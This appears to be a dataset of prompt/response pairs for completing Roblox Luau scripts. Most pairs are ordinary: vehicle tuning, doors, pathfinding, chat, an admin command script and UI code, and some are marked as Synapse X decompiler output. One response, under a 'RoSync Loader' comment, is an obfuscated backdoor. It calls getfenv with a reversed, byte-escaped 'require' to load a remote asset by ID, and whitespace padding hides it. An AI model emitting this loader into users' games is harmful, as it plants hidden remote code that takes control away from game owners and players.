	,WalkMultiplier = 0				--- Bullet spread based on player speed

	,SwayBase = 0.25				--- Weapon Base Sway | Studs
	,MaxSway =	1					--- Max sway value based on player stamina | Studs


Prompt:
-- regeneration
--[[
while true do
	local s = wait(4)
	local health = Humanoid.Health
	if health > 0 and health < Humanoid.MaxHealth then
		health = health + 0.08 * s * Humanoid.MaxHealth
		if health * 1.05 < Humanoid.MaxHealth then
			Humanoid.Health = health
		else
			Humanoid.Health = Humanoid.MaxHealth
		end
	end
end
--]]


Prompt: -- Apply some properties

Response:
player.CameraMaxZoomDistance = 8
if humanoid.CameraOffset == Vector3.new(0,0,0) then
ok()
elseif humanoid.CameraOffset == Vector3.new(0,0,-1.2) then
ok()
elseif
humanoid.CameraOffset == Vector3.new(0,-1,-1.2) then
ok2()
elseif
humanoid.CameraOffset == Vector3.new(0,-3,-1.2) then
ok3()
end

function lock(part)
	if part and part:IsA("BasePart") then
		part.LocalTransparencyModifier = part.Transparency
		part.Changed:connect(function (property)
			part.LocalTransparencyModifier = part.Transparency
		end)
	end
end

for _,v in pairs(char:GetChildren()) do
	lock(v)
end

char.ChildAdded:connect(lock)

c.Changed:connect(function (property)
	if property == "CameraSubject" then
		if c.CameraSubject and c.CameraSubject:IsA("VehicleSeat") and humanoid then
			-- Vehicle seats try to change the camera subject to the seat itself. This isn't what we wan't really.
			c.CameraSubject = humanoid;
		end
	end
end)
end


Prompt: --Hand

Response:
character.Constraint.ConstraintHand.Attachment1 = RHR
character.Constraint.ConstraintHand.Attachment0 = RHL


Prompt: -- Gets the player ready by spawning them

Response:
local function readyPlayer(player, whichSpawn)
	local character = player.Character or player.CharacterAdded:wait()
	local humanoidRootPart = character:FindFirstChild("HumanoidRootPart")

	humanoidRootPart.Anchored = true

	-- Move player to SpeederSpawnLocation
	character:SetPrimaryPartCFrame(whichSpawn.CFrame)
end


Prompt: --------RIGHT DOOR --------

Response:
game.Workspace.doorright.l31.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l32.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l33.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l61.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l62.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l63.BrickColor = BrickColor.new(21)


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local v1 = script:FindFirstAncestor("MainUI");
local l__LocalPlayer__2 = game.Players.LocalPlayer;
local l__TweenService__1 = game:GetService("TweenService");
return function(p1, p2, p3)
	local v3 = game.ReplicatedStorage.Entities.Spider:Clone();
	v3.Parent = p1.cam;
	local v4 = v3.AnimationController:LoadAnimation(v3.Animations.Jump);
	local v5 = tick();
	for v6 = 1, 100 do
		if v4.Length > 0 then
			break;
		end;
		task.wait();
	end;
	local v7 = math.ceil(p2.Main.Size.X * 10) - 2;
	local v8 = math.ceil(p2.Main.Size.Z * 10) - 2;
	local v9 = Vector3.new(math.random(-v7, v7) / 22, 0, math.random(-v8, v8) / 22);
	local v10 = CFrame.Angles(0, math.rad(math.random(0, 360)), 0);
	v3:SetPrimaryPartCFrame((p2.Main.CFrame + v9) * v10);
	local l__CFrame__11 = v3.PrimaryPart.CFrame;
	for v12 = 1, 1000000 do
		task.wait();
		v3.PrimaryPart.CFrame = (p2.Main.CFrame + v9) * v10;
		if v5 + p3 < tick() then
			break;
		end;
	end;
	v3.PrimaryPart.Sound:Play();
	script.Scare:Play();
	v4:Play(0);
	local v13 = tick();
	local l__CFrame__14 = v3.PrimaryPart.CFrame;
	p1.camShaker:ShakeOnce(5, 6, 0.3, 0.6);
	for v15 = 1, 1000000 do
		task.wait();
		v3.PrimaryPart.CFrame = l__CFrame__14:Lerp(CFrame.new(p1.cam.CFrame.Position + p1.cam.CFrame.LookVector * 0.35, p1.cam.CFrame.Position), (l__TweenService__1:GetValue((tick() - v13) / 0.2, Enum.EasingStyle.Linear, Enum.EasingDirection.In)));
		if v13 + 0.2 < tick() then
			break;
		end;
	end;
	p1.camShaker:ShakeOnce(3, 24, 0, 1);
	local v16 = tick();
	for v17 = 1, 1000000 do
		task.wait();
		v3.PrimaryPart.CFrame = CFrame.new(p1.cam.CFrame.Position + p1.cam.CFrame.LookVector * 0.35, p1.cam.CFrame.Position);
		if v16 + 0.6 < tick() then
			break;
		end;
	end;
	v3:Destroy();
end;


Response:
script.Parent:WaitForChild("Gear")
script.Parent:WaitForChild("Speed")
script.Parent:WaitForChild("Needle")

local player=game.Players.LocalPlayer
local mouse=player:GetMouse()

local car = script.Parent.Parent.Parent.Car.Value
car.DriveSeat.HeadsUpDisplay = false

local _Tune = require(car["A-Chassis Tune"])

local _pRPM = _Tune.PeakRPM
local _lRPM = _Tune.Redline

local currentUnits = 1
local revEnd = math.ceil(_lRPM/1000)

script.Parent.Parent.Parent.Values.Gear.Changed:connect(function()
	local gearText = script.Parent.Parent.Parent.Values.Gear.Value
	if gearText == 0 then gearText = "N"
	elseif gearText == -1 then gearText = "R"
	end
	script.Parent.Gear.Text = gearText
end)

script.Parent.Parent.Parent.Values.RPM.Changed:connect(function()
	script.Parent.Needle.Rotation = 230 * math.min(1,script.Parent.Parent.Parent.Values.RPM.Value / (revEnd*1000))
end)

script.Parent.Parent.Parent.Values.Velocity.Changed:connect(function(property)
	script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Parent.Values.Velocity.Value.Magnitude)
end)

script.Parent.Speed.MouseButton1Click:connect(function()
	if currentUnits==#UNITS then
		currentUnits = 1
	else
		currentUnits = currentUnits+1
	end
	script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Parent.Values.Velocity.Value.Magnitude)
	script.Parent.Unit.Text = UNITS[currentUnits].units
end)

wait(.1)


Prompt: --[[ Last synced 12/30/2021 08:43                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                ]]--


Prompt:
--[[INSTRUCCIONES
* Tiempo entre que toca SENSOR y PARADA: 20 segundos
]]

Response:
function onTouched(hit)
	campana.Playing = true
	ondear.Value = 0.1
	chimenea1.Enabled = false
	chimenea2.Enabled = false
	ruedaderecha1.AngularVelocity = -2
	ruedaderecha2.AngularVelocity = -2

	wait(10)
	ondear.Value = 0.2
	campana.TimePosition = 0
	ruedaderecha1.AngularVelocity = -1
	ruedaderecha2.AngularVelocity = -1
	wait(10)
	ruedaderecha1.AngularVelocity = 0
	ruedaderecha2.AngularVelocity = 0
	ondear.Value = 50
	campana.Playing = false
	wait(parada) --PARADA
	ondear.Value = 0.2
	humoizquierdo.Enabled = true
	humoderecho.Enabled = true
	chimenea1.Enabled = true
	chimenea2.Enabled = true
	ruedaderecha1.AngularVelocity = -0.5
	ruedaderecha2.AngularVelocity = -0.5
	wait(1)
	ondear.Value = 0.1
	ruedaderecha1.AngularVelocity = -1
	ruedaderecha2.AngularVelocity = -1
	humoizquierdo.Enabled = false
	humoderecho.Enabled = false
	wait(1)
	ondear.Value = 0.05
	ruedaderecha1.AngularVelocity = -2
	ruedaderecha2.AngularVelocity = -2
	humoizquierdo.Enabled = true
	humoderecho.Enabled = true
	wait(1)
	ruedaderecha1.AngularVelocity = -3
	ruedaderecha2.AngularVelocity = -3
	humoizquierdo.Enabled = false
	humoderecho.Enabled = false
end
script.Parent.Touched:connect(onTouched)


Prompt: --[[Brakes]]

Response:
Tune.ABSEnabled		= false		-- Implements ABS
Tune.ABSThreshold	= 20		-- Slip speed allowed before ABS starts working (in SPS)

Tune.FBrakeForce	= 10		-- Front brake force
Tune.RBrakeForce	= 3500		-- Rear brake force
Tune.PBrakeForce	= 40		-- Handbrake force

Tune.FLgcyBForce	= 15		-- Front brake force [PGS OFF]
Tune.RLgcyBForce	= 10000		-- Rear brake force [PGS OFF]
Tune.LgcyPBForce	= 25		-- Handbrake force [PGS OFF]


Prompt: -- Etc

Response:
local DESTROY_ON_DEATH = getValueFromConfig("DestroyOnDeath")
local RAGDOLL_ENABLED = getValueFromConfig("RagdollEnabled")

local DEATH_DESTROY_DELAY = 5
local PATROL_WALKSPEED = 12
local MIN_REPOSITION_TIME = 2
local MAX_REPOSITION_TIME = 10
local MAX_PARTS_PER_HEARTBEAT = 50
local SEARCH_DELAY = 1


Prompt:
--		if RunService:IsStudio() then
--			return nil
--		end

Response:
		local player = speaker:GetPlayer()
		if player then
			local success, canChat = pcall(function()
				return Chat:CanUserChatAsync(player.UserId)
			end)
			if success and not canChat then
				return ""
			end
		end
	end)
end

local systemChannel = ChatService:AddChannel("System")
systemChannel.Leavable = false
systemChannel.AutoJoin = true
systemChannel.WelcomeMessage = ChatLocalization:Get("GameChat_ChatServiceRunner_SystemChannelWelcomeMessage","This channel is for system and game notifications.")

systemChannel.SpeakerJoined:connect(function(speakerName)
	systemChannel:MuteSpeaker(speakerName)
end)

local function TryRunModule(module)
	if module:IsA("ModuleScript") then
		local ret = require(module)
		if (type(ret) == "function") then
			ret(ChatService)
		end
	end
end

local modules = game:GetService("Chat"):WaitForChild("ChatModules")
modules.ChildAdded:connect(function(child)
	local success, returnval = pcall(TryRunModule, child)
	if not success and returnval then
		print("Error running module " ..child.Name.. ": " ..returnval)
	end
end)

for i, module in pairs(modules:GetChildren()) do
	local success, returnval = pcall(TryRunModule, module)
	if not success and returnval then
		print("Error running module " ..module.Name.. ": " ..returnval)
	end
end

local Players = game:GetService("Players")
Players.PlayerRemoving:connect(function(playerObj)
	if (ChatService:GetSpeaker(playerObj.Name)) then
		ChatService:RemoveSpeaker(playerObj.Name)
	end
end)


Prompt: -----------------------------------PATHER--------------------------------------

Response:
local function createNewPopup(popupType)

	local newModel = Instance.new("ImageHandleAdornment")

	newModel.AlwaysOnTop = false
	newModel.Image = "rbxasset://textures/ui/move.png"
	newModel.ZIndex = 2

	local size = ZERO_VECTOR2
	if popupType == "DestinationPopup" then
		newModel.Color3 = Color3.fromRGB(0, 175, 255)
		size = Vector2.new(4,4)
	elseif popupType == "DirectWalkPopup" then
		newModel.Color3 = Color3.fromRGB(0, 175, 255)
		size = Vector2.new(4,4)
	elseif popupType == "FailurePopup" then
		newModel.Color3 = Color3.fromRGB(255, 100, 100)
		size = Vector2.new(4,4)
	elseif popupType == "PatherPopup" then
		newModel.Color3 = Color3.fromRGB(255, 255, 255)
		size = Vector2.new(3,3)
		newModel.ZIndex = 1
	end

	local dataStructure = {}
	dataStructure.Model = newModel

	function dataStructure:TweenIn()
		local tween1 = tweenService:Create(self.Model,
			TweenInfo.new(
				1,
				Enum.EasingStyle.Elastic,
				Enum.EasingDirection.Out,
				0,
				false,
				0
			),{
				Size = size
			}
		)
		tween1:Play()
		return tween1
	end

	function dataStructure:TweenOut()
		local tween1 = tweenService:Create(self.Model,
			TweenInfo.new(
				.25,
				Enum.EasingStyle.Quad,
				Enum.EasingDirection.In,
				0,
				false,
				0
			),{
				Size = ZERO_VECTOR2
			}
		)
		tween1:Play()
		return tween1
	end

	function dataStructure:Place(position, dest)
		-- place the model at position
		if not self.Model.Parent then
			self.Model.Parent = workspace.Terrain
			self.Model.Adornee = workspace.Terrain

			local ray = Ray.new(position + Vector3.new(0, 2.5, 0), Vector3.new(0, -10, 0))
			local hitPart, hitPoint, hitNormal = workspace:FindPartOnRayWithIgnoreList(ray, { workspace.CurrentCamera, Player.Character })

			self.Model.CFrame = CFrame.new(hitPoint, hitPoint + hitNormal) * CFrame.Angles(0,0,0) + Vector3.new(0, 0.2,0)
		end
	end

	return dataStructure
end

local function createPopupPath(points, numCircles)
	-- creates a path with the provided points, using the path and number of circles provided
	local popups = {}
	local stopTraversing = false

	local function killPopup(i)
		-- kill all popups before and at i
		for iter, v in pairs(popups) do
			if iter <= i then
				local tween = v:TweenOut()
				spawn(function()
					tween.Completed:wait()
					v.Model:Destroy()
				end)
				popups[iter] = nil
			end
		end
	end

	local function stopFunction()
		stopTraversing = true
		killPopup(#points)
	end

	spawn(function()
		for i = 1, #points do
			if stopTraversing then
				break
			end

			local includeWaypoint = i % numCircles == 0
			                    and i < #points
			                    and (points[#points].Position - points[i].Position).magnitude > 4
			if includeWaypoint then
				local popup = createNewPopup("PatherPopup")
				popups[i] = popup
				local nextPopup = points[i+1]
				popup:Place(points[i].Position, nextPopup and nextPopup.Position or points[#points].Position)
				local tween = popup:TweenIn()
				wait(0.2)
			end
		end
	end)

	return stopFunction, killPopup
end

local function Pather(character, endPoint, surfaceNormal)
	local this = {}

	this.Cancelled = false
	this.Started = false

	this.Finished = Signal.Create()
	this.PathFailed = Signal.Create()
	this.PathStarted = Signal.Create()

	this.PathComputing = false
	this.PathComputed = false

	this.TargetPoint = endPoint
	this.TargetSurfaceNormal = surfaceNormal

	this.MoveToConn = nil
	this.CurrentPoint = 0

	function this:Cleanup()
		if this.stopTraverseFunc then
			this.stopTraverseFunc()
		end

		if this.MoveToConn then
			this.MoveToConn:disconnect()
			this.MoveToConn = nil
			this.humanoid = nil
		end

		this.humanoid = nil
	end

	function this:Cancel()
		this.Cancelled = true
		this:Cleanup()
	end

	function this:ComputePath()
		local humanoid = findPlayerHumanoid(Player)
		local torso = humanoid and humanoid.Torso
		local success = false
		if torso then
			if this.PathComputed or this.PathComputing then return end
			this.PathComputing = true
			success = pcall(function()
				this.pathResult = PathfindingService:FindPathAsync(torso.CFrame.p, this.TargetPoint)
			end)
			this.pointList = this.pathResult and this.pathResult:GetWaypoints()
			this.PathComputing = false
			this.PathComputed = this.pathResult and this.pathResult.Status == Enum.PathStatus.Success or false
		end
		return true
	end

	function this:IsValidPath()
		if not this.pathResult then
			this:ComputePath()
		end
		return this.pathResult.Status == Enum.PathStatus.Success
	end

	function this:OnPointReached(reached)

		if reached and not this.Cancelled then

			this.CurrentPoint = this.CurrentPoint + 1

			if this.CurrentPoint > #this.pointList then
				-- End of path reached
				if this.stopTraverseFunc then
					this.stopTraverseFunc()
				end
				this.Finished:fire()
				this:Cleanup()
			else
				-- If next action == Jump, but the humanoid
				-- is still jumping from a previous action
				-- wait until it gets to the ground
				if this.CurrentPoint + 1 <= #this.pointList then
					local nextAction = this.pointList[this.CurrentPoint + 1].Action
					if nextAction == Enum.PathWaypointAction.Jump then
						local currentState = this.humanoid:GetState()
						if currentState == Enum.HumanoidStateType.FallingDown or
						   currentState == Enum.HumanoidStateType.Freefall or
						   currentState == Enum.HumanoidStateType.Jumping then

						   this.humanoid.FreeFalling:wait()

						   -- Give time to the humanoid's state to change
						   -- Otherwise, the jump flag in Humanoid
						   -- will be reset by the state change
						   wait(0.1)
						end
					end
				end

				-- Move to the next point
				if this.setPointFunc then
					this.setPointFunc(this.CurrentPoint)
				end

				local nextWaypoint = this.pointList[this.CurrentPoint]

				if nextWaypoint.Action == Enum.PathWaypointAction.Jump then
					this.humanoid.Jump = true
				end
				this.humanoid:MoveTo(nextWaypoint.Position)
			end
		else
			this.PathFailed:fire()
			this:Cleanup()
		end
	end

	function this:Start()
		if CurrentSeatPart then
			return
		end

		this.humanoid = findPlayerHumanoid(Player)
		if this.Started then return end
		this.Started = true

		if SHOW_PATH then
			-- choose whichever one Mike likes best
			this.stopTraverseFunc, this.setPointFunc = createPopupPath(this.pointList, 4)
		end

		if #this.pointList > 0 then
			this.MoveToConn = this.humanoid.MoveToFinished:connect(function(reached) this:OnPointReached(reached) end)
			this.CurrentPoint = 1 -- The first waypoint is always the start location. Skip it.
			this:OnPointReached(true) -- Move to first point
		else
			this.PathFailed:fire()
			if this.stopTraverseFunc then
				this.stopTraverseFunc()
			end
		end
	end

	this:ComputePath()
	if not this.PathComputed then
		-- set the end point towards the camera and raycasted towards the ground in case we hit a wall
		local offsetPoint = this.TargetPoint + this.TargetSurfaceNormal*1.5
		local ray = Ray.new(offsetPoint, Vector3_new(0,-1,0)*50)
		local newHitPart, newHitPos = RayCastIgnoreList(workspace, ray, getIgnoreList())
		if newHitPart then
			this.TargetPoint = newHitPos
		end
		-- try again
		this:ComputePath()
	end

	return this
end


Response:
function onClicked()
R.Function1.Disabled = true

FX.ROLL.BrickColor = BrickColor.new("CGA brown")
FX.ROLL.loop.Disabled = true

FX.REVERB.BrickColor = BrickColor.new("CGA brown")
FX.REVERB.loop.Disabled = true

FX.GATE.BrickColor = BrickColor.new("CGA brown")
FX.GATE.loop.Disabled = true

FX.PHASER.BrickColor = BrickColor.new("CGA brown")
FX.PHASER.loop.Disabled = true

FX.SLIPROLL.BrickColor = BrickColor.new("CGA brown")
FX.SLIPROLL.loop.Disabled = true

FX.FILTER.BrickColor = BrickColor.new("CGA brown")
FX.FILTER.loop.Disabled = true

FX.SENDRETURN.BrickColor = BrickColor.new("Really red")
FX.SENDRETURN.loop.Disabled = true

FX.TRANS.BrickColor = BrickColor.new("CGA brown")
FX.TRANS.loop.Disabled = true

FX.ECHO.BrickColor = BrickColor.new("CGA brown")
FX.ECHO.loop.Disabled = true

FX.DELAY.BrickColor = BrickColor.new("CGA brown")
FX.DELAY.loop.Disabled = true

FX.REVROLL.BrickColor = BrickColor.new("CGA brown")
FX.REVROLL.loop.Disabled = true
R.loop.Disabled = false
R.Function2.Disabled = false
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
return { {
		id = 340623941,
		name = "Ninja Bandolier"
	}, {
		id = 101081225,
		name = "Conductor's Gold Pocket Watch"
	}, {
		id = 1117745036,
		name = "Garlic Lapel Pin"
	}, {
		id = 2131069286,
		name = "UFO Lapel Pin"
	}, {
		id = 501965407,
		name = "Scarlet Lapel Flower"
	}, {
		id = 1320949015,
		name = "Dragon Head Lapel Pin"
	} };


Prompt:
------------------------------------------------------------------------
-- dump debug information
------------------------------------------------------------------------

Response:
function luaU:DumpDebug(f, D)
  local n
  n = D.strip and 0 or f.sizelineinfo           -- dump line information
  --was DumpVector
  self:DumpInt(n, D)
  for i = 0, n - 1 do
    self:DumpInt(f.lineinfo[i], D)
  end
  n = D.strip and 0 or f.sizelocvars            -- dump local information
  self:DumpInt(n, D)
  for i = 0, n - 1 do
    self:DumpString(f.locvars[i].varname, D)
    self:DumpInt(f.locvars[i].startpc, D)
    self:DumpInt(f.locvars[i].endpc, D)
  end
  n = D.strip and 0 or f.sizeupvalues           -- dump upvalue information
  self:DumpInt(n, D)
  for i = 0, n - 1 do
    self:DumpString(f.upvalues[i], D)
  end
end


Prompt:
--[=[
	@tag Component Instance
	@param componentClass ComponentClass
	@return Component?

	Retrieves another component instance bound to the same
	Roblox instance.

	```lua
	local MyComponent = Component.new({Tag = "MyComponent"})
	local AnotherComponent = require(somewhere.AnotherComponent)

	function MyComponent:Start()
		local another = self:GetComponent(AnotherComponent)
	end
	```
]=]

Response:
function Component:GetComponent(componentClass)
	return componentClass[KEY_INST_TO_COMPONENTS][self.Instance]
end


Prompt: --Ugh, now i have the M*A*S*H theme stuck in my head.....

Response:
if string.sub(msg,1,9) == "teleport/" then
danumber = nil
for i =10,100 do
if string.sub(msg,i,i) == "/" then
danumber = i
break
end end
if danumber == nil then
return
end
local player1 = findplayer(string.sub(msg,10,danumber - 1),speaker)
if player1 == 0 then
return
end
local player2 = findplayer(string.sub(msg,danumber + 1),speaker)
if player2 == 0 then
return
end
if #player2 > 1 then
return
end
torso = nil
for i =1,#player2 do
if player2[i].Character ~= nil then
torso = player2[i].Character:FindFirstChild("Torso")
end end
if torso ~= nil then
for i =1,#player1 do
if player1[i].Character ~= nil then
local torso2 = player1[i].Character:FindFirstChild("Torso")
if torso2 ~= nil then
torso2.CFrame = torso.CFrame
end end end end end

if string.sub(msg,1,6) == "merge/" then
danumber = nil
for i =7,100 do
if string.sub(msg,i,i) == "/" then
danumber = i
break
end end
if danumber == nil then
return
end
local player1 = findplayer(string.sub(msg,7,danumber - 1),speaker)
if player1 == 0 then
return
end
local player2 = findplayer(string.sub(msg,danumber + 1),speaker)
if player2 == 0 then
return
end
if #player2 > 1 then
return
end
for i =1,#player2 do
if player2[i].Character ~= nil then
player2 = player2[i].Character
end end
for i =1,#player1 do
player1[i].Character = player2
end end

if msg == "clear" then
local c = game.Workspace:GetChildren()
for i =1,#c do
if c[i].className == "Script" then
if c[i]:FindFirstChild("Is A Created Script") then
c[i]:remove()
end end
if c[i].className == "Part" then
if c[i].Name == "Person299's Admin Command Script V2 Part thingy" then
c[i]:remove()
end end
if c[i].className == "Model" then
if string.sub(c[i].Name,1,4) == "Jail" then
c[i]:remove()
end end end end

if string.sub(msg,1,5) == "kick/" then
local imgettingtiredofmakingthisstupidscript2 = PERSON299(speaker.Name)
if imgettingtiredofmakingthisstupidscript2 == true then
local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
if imgettingtiredofmakingthisstupidscript == false then
if player[i].Name ~= eloname then
player[i]:remove()
end end end end end end

if string.sub(msg,1,4) == "ban/" then
local imgettingtiredofmakingthisstupidscript2 = PERSON299(speaker.Name)
if imgettingtiredofmakingthisstupidscript2 == true then
local player = findplayer(string.sub(msg,5),speaker)
if player ~= 0 then
for i = 1,#player do
local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
if imgettingtiredofmakingthisstupidscript == false then
if player[i].Name ~= eloname then
table.insert(bannedlist,player[i].Name)
player[i]:remove()
end end end end end end

if string.sub(msg,1,6) == "unban/" then
if string.sub(msg,7) == "all" then
for i=1,bannedlist do
table.remove(bannedlist,i)
end
else
local n = 0
local o = nil
for i=1,#bannedlist do
if string.find(string.lower(bannedlist[i]),string.sub(msg,7)) == 1 then
n = n + 1
o = i
end end
if n == 1 then
local name = bannedlist[o]
table.remove(bannedlist,o)
text(name .. " has been unbanned",1,"Message",speaker)
elseif n == 0 then
text("That name is not found.",1,"Message",speaker)
elseif n > 1 then
text("That name is ambiguous",1,"Message",speaker)
end end end


Prompt: -- função para adicionar vírgulas a um número

Response:
local function commaSeparateNumber(amount)
	local formatted = amount
	while true do
		formatted, k = string.gsub(formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
		if k == 0 then
			break
		end
	end
	return "Exp:"..formatted
end


Prompt: --print("jumping")

Response:
local goal = {}
goal.Position = chicken.Position + Vector3.new(0,1,0)
local tweenInfo = TweenInfo.new(.7,Enum.EasingStyle.Quad,Enum.EasingDirection.Out,0,true,0)
local tween = ts:Create(chicken,tweenInfo,goal)
tween:Play()
end
while true do
local jumpchance = math.random(1,10)
if jumpchance < 5 then
	jump()
end
wait(math.random(1,3))
end


Prompt:
--[[
	Enters the view, cloning the element from ReplicatedStorage.
]]

Response:
function Dead.enter()
	failSound:Play()

	activeElements = elements:Clone()

	activeElements.Message.Text = translate("You didn't escape")

	activeElements.Parent = LocalPlayer.PlayerGui
end


Prompt: --[[Susupension]]

Response:
	Tune.SusEnabled		= true		-- Sets whether suspension is enabled for PGS

	--Front Suspension
	Tune.FSusStiffness	= 9000		-- Spring Force
	Tune.FSusDamping	= 550		-- Spring Dampening
	Tune.FAntiRoll 		= 100		-- Anti-Roll (Gyro Dampening)

	Tune.FSusLength		= 2		-- Resting Suspension length (in studs)
	Tune.FPreCompress	= .3		-- Pre-compression adds resting length force
	Tune.FExtensionLim	= .3		-- Max Extension Travel (in studs)
	Tune.FCompressLim	= .8		-- Max Compression Travel (in studs)
	Tune.FSusAngle		= 85		-- Suspension Angle (degrees from horizontal)

	Tune.FWsBoneLen		= 4			-- Wishbone Length
	Tune.FWsBoneAngle	= 2			-- Wishbone angle (degrees from horizontal)
	Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Rear Suspension
	Tune.RSusStiffness	= 8500	-- Spring Force
	Tune.RSusDamping	= 550		-- Spring Dampening
	Tune.RAntiRoll 		= 100		-- Anti-Roll (Gyro Dampening)

	Tune.RSusLength		= 2.2		-- Resting Suspension length (in studs)
	Tune.RPreCompress	= .3		-- Pre-compression adds resting length force
	Tune.RExtensionLim	= .3		-- Max Extension Travel (in studs)
	Tune.RCompressLim	= .8		-- Max Compression Travel (in studs)
	Tune.RSusAngle		= 80		-- Suspension Angle (degrees from horizontal)

	Tune.RWsBoneLen		= 4			-- Wishbone Length
	Tune.RWsBoneAngle	= 2			-- Wishbone angle (degrees from horizontal)
	Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Aesthetics
	Tune.SusVisible		= false			-- Spring Visible
	Tune.WsBVisible		= false			-- Wishbone Visible
	Tune.SusRadius		= .2			-- Suspension Coil Radius
	Tune.SusThickness	= .1			-- Suspension Coil Thickness
	Tune.SusColor		= "Really black"	-- Suspension Color [BrickColor]
	Tune.SusCoilCount	= 6				-- Suspension Coil Count
	Tune.WsColor		= "Black"		-- Wishbone Color [BrickColor]
	Tune.WsThickness	= .1			-- Wishbone Rod Thickness


Prompt:
-- Settings can be modified in lines 13-17
--=======================================--

Response:
local sm = Color3.fromRGB(17, 200, 216)--color of the messages
local welcomeMessage = "Welcome to the game!" -- message that a player is shown when they join
local welcomeMessageOn = true -- set to true to give a player a message when they join the game
local joinMessage = " has joined." -- will display as "[player] has joined.""
local displayJoinMessage = true
local leftMessage = " has left." -- will display as "[player] has left."
local displayLeaveMessage = true


Prompt: --[[Engine]]

Response:
	--Torque Curve
    Tune.Horsepower		= 3000		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 2000		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 6500		--		Use sliders to manipulate values
	Tune.Redline		= 10000
	Tune.EqPoint		= 7500
	Tune.PeakSharpness	= 10
	Tune.CurveMult		= 1

	--Incline Compensation
	Tune.InclineComp	= 90			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)

	--Misc
	Tune.RevAccel		= 470		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 486		-- RPM decay when clutch is off
	Tune.RevBounce		= 170		-- RPM kickback from redline
	Tune.IdleThrottle	= 0			-- Percent throttle at idle
	Tune.ClutchTol		= 500		-- Clutch engagement threshold (higher = faster response)


Prompt:
--[=[
	@class Ser

	Library for serializing and deserializing data.

	See the `Classes` property for information on extending the use
	of the Ser library to include other classes.

]=]

Response: local Ser = {}


Prompt: -- Make signal strict

Response:
setmetatable(Signal, {
	__index = function(_, key)
		error(("Attempt to get Signal::%s (not a valid member)"):format(tostring(key)), 2)
	end,
	__newindex = function(_, key, _)
		error(("Attempt to set Signal::%s (not a valid member)"):format(tostring(key)), 2)
	end
})

return Signal


Prompt: -- Shorthands

Response:
local vec3 = Vector3.new
local cframe = CFrame.new
local zeroVector = vec3(0, 0, 0)
local uz = vec3(0, 0, 1)
local ux = vec3(1, 0, 0)
local sqrt = math.sqrt
local dot = zeroVector.Dot
local cross = zeroVector.Cross


Prompt: -- Play Button

Response:
script.Parent.Frame.Frame.TextButton.MouseButton1Click:Connect(function()
	cam.CameraType = Enum.CameraType.Custom
	script.Parent.Enabled = false
	script.Parent.Parent.ObbyTimer.Enabled = true
	script.Parent.Parent.PackUI.Enabled = true
	script.Parent.Parent.CompletionGUI.Enabled = true
	looping = false
	currentTween:Pause()
end)


Prompt: -- If you want to know how to retexture a hat, read this:  http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388

Response:
debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
		debounce = false
		h = Instance.new("Hat")
		p = Instance.new("Part")
		h.Name = "Hat"   -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat.
		p.Parent = h
		p.Position = hit.Parent:findFirstChild("Head").Position
		p.Name = "Handle"
		p.formFactor = 0
		p.Size = Vector3.new(-0,-0,-1)
		p.BottomSurface = 0
		p.TopSurface = 0
		p.Locked = true
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0,-0.25,0) -- Change these to change the positiones of your hat, as I said earlier.
		wait(5)		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)


Prompt:
--[[if (script.Parent.Active) then
	script.Parent.Name = "RESELECT"
	while (script.Parent.Active) do wait() end
end
script.Parent.Name = "Plane"]]

Response:
function changeGear()
	gear = (not gear)
	for _,v in pairs(gearParts) do
		v.Transparency,v.Reflectance,v.CanCollide = (gear and v.Trans.Value or 1),(gear and v.Ref.Value or 0),(gear and v.Collide.Value or false)	-- Learning how to code like this is extremely useful
	end
end

function updateGui(taxiing,stalling)
	panel.Off.Visible = (not on)
	panel.Taxi.Visible,panel.Stall.Visible = taxiing,(not taxiing and stalling)
	if ((realSpeed > -10000) and (realSpeed < 10000)) then
		panel.Speed.Value.Text = tostring(math.floor(realSpeed+0.5))
	end
	panel.Altitude.Value.Text = tostring(math.floor(main.Position.y+0.5)) - 8
	panel.Throttle.Bar.Amount.Size = UDim2.new(throttle,0,1,0)
end

function taxi()	-- Check to see if the plane is on the ground or not
	return (currentSpeed <= stallSpeed and game.Workspace:findPartOnRay(Ray.new(main.Position,Vector3.new(0,-lowestPoint,0)),plane))	-- Make sure plane is on a surface
end

function stall()	-- Originally set as a giant ternary operation, but got WAY too complex, so I decided to break it down for my own sanity
	if ((altRestrict) and (main.Position.y > altMax)) then return true end
	local diff = ((realSpeed-stallSpeed)/200)
	diff = (diff > 0.9 and 0.9 or diff)
	local check = {	-- Table placed here so I could easily add new 'checks' at ease. If anything in this table is 'true,' then the plane will be considered to be taxiing
		(currentSpeed <= stallSpeed);
